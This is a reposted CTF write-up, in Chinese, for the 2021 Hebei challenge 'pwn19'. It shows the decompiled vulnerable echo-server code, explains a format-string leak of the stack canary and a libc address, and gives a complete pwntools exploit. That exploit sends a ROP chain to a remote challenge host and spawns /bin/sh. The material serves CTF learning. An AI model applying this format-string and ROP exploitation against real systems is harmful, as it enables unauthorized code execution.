栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > C/C++/C#

[冀信2021-pwn] pwn19

C/C++/C# 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

[冀信2021-pwn] pwn19

这是一个简单的printf+溢出题,可以输入2次6位的串用来printf,然后输入串溢出。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v5; // [rsp+Ch] [rbp-34h]
  __int64 buf[5]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  buf[0] = 0LL;
  buf[1] = 0LL;
  buf[2] = 0LL;
  buf[3] = 0LL;
  v5 = 0;
  init(argc, argv, envp);
  puts("echo server start up");
  while ( v5 <= 1 )
  {
    *((_BYTE *)buf + (int)read(0, buf, 6uLL)) = 0;
    printf((const char *)buf);
    ++v5;
  }
  puts("your gift~");
  read(0, buf, 0x100uLL);
  return __readfsqword(0x28u) ^ v7;
}

这个题有canary所以溢出一定要有canary,另外一个必需的就是libc,所以这两个printf确定为13和15

题目没有给libc,所以需要得到libc后查版本,通过第一步查到是libc-2.23-0ubuntu11.3就能用。由于开了PIE加载地址是随机的所以pop_rdi也要从libc里找

from pwn import *

local =0
if local == 1:
    p = process('./pwn19')
    libc_elf = ELF('/lib/x86_64-linux-gnu/libc.so.6') #2.31
    libc_start_main_ret = 0x0270b3
else:
    p = remote('82.157.18.9', 55302)
    libc_elf = ELF('./libc6_2.23-0ubuntu11.3_amd64.so')
    libc_start_main_ret = 0x020840
    
context(arch='amd64', log_level='debug')

p.sendlineafter(b'n', b'%13$p')
canary    = int(p.recvline()[:-1], 16)

p.sendline(b'%15$p')

libc_base = int(p.recvline()[:-1], 16) - libc_start_main_ret
pop_rdi   = libc_base + next(libc_elf.search(asm('pop rdi;ret')))
system    = libc_base + libc_elf.sym['system']
bin_sh    = libc_base + next(libc_elf.search(b'/bin/sh'))

payload = flat(b'A'*0x28, canary, 0, pop_rdi+1, pop_rdi, bin_sh, system)
p.sendlineafter(b"your gift~n"  , payload)

p.interactive()

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/664866.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号